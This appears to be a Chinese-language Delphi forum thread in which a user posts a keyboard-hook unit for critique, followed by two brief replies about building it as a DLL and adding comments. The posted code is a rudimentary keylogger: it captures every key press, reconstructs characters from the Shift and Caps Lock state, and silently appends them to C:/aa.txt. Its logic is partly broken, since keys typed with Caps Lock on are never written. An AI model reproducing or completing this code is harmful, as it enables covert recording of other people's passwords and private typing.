键盘钩子,请大家指正,谢谢 ( 积分: 100 )

  • 主题发起人 主题发起人 kaman99
  • 开始时间 开始时间
K

kaman99

Unregistered / Unconfirmed
GUEST, unregistred user!
unit HKPROC;

interface
uses
Windows,Messages;
var
debugfile:textfile;

c :char;
i :integer;
j :integer;
hNextHookProc : HHook;
procSaveExit : Pointer;
function EnableHotKeyHook:bool;export;
function DisableHotKeyHook : BOOL; export;
procedure HotKeyHookExit; far;



const
f='C:/aa.txt';

implementation
function KeyboardHookHandler(iCode:Integer;WParam:WPARAM;lParam:LPARAM):LRESULT stdcall export;
const
_KeyPressMask=$8000;
begin

if iCode<0 then
begin
Result:=CallNextHookEx(hNextHookProc,iCode,wParam,lParam);
Exit;
end;
assignfile(debugfile,f);
try
append(debugfile);
except
rewrite(debugfile);
end;
if((lParam and _KeyPressMask)=0) then
begin
i:=getkeystate($10); //返回Shift键的状态
j:=getkeystate($14); //返回Caps Lock键的状态
if((j and 1)=1 )then //判断CapsLock是否按下
begin
//判断Shift 是否按下
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
if (wparam<65) then //判断是字母键还是数字键
c:=chr(wparam-16)
else
c:= chr(wparam+32);

end else
begin
if (wparam<65) then
c:=chr(wparam)
else
c:=chr(wparam);
end
end else
begin
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
if (wparam<65) then
c:=chr(wparam-16)
else
c:= chr(wparam);

end else
begin
if (wparam<65) then
c:=chr(wparam)
else
c:=chr(wparam+32);
end;
write(debugfile,c); //将捕获的键码存入文件
end;
end;
closefile(debugfile);
Result :=0;
end;
 
要做全局钩子,应做成Dll。(不明白你的意思)
 
楼主最好加点注释,说明一下问题。。。
 

Similar threads

后退
顶部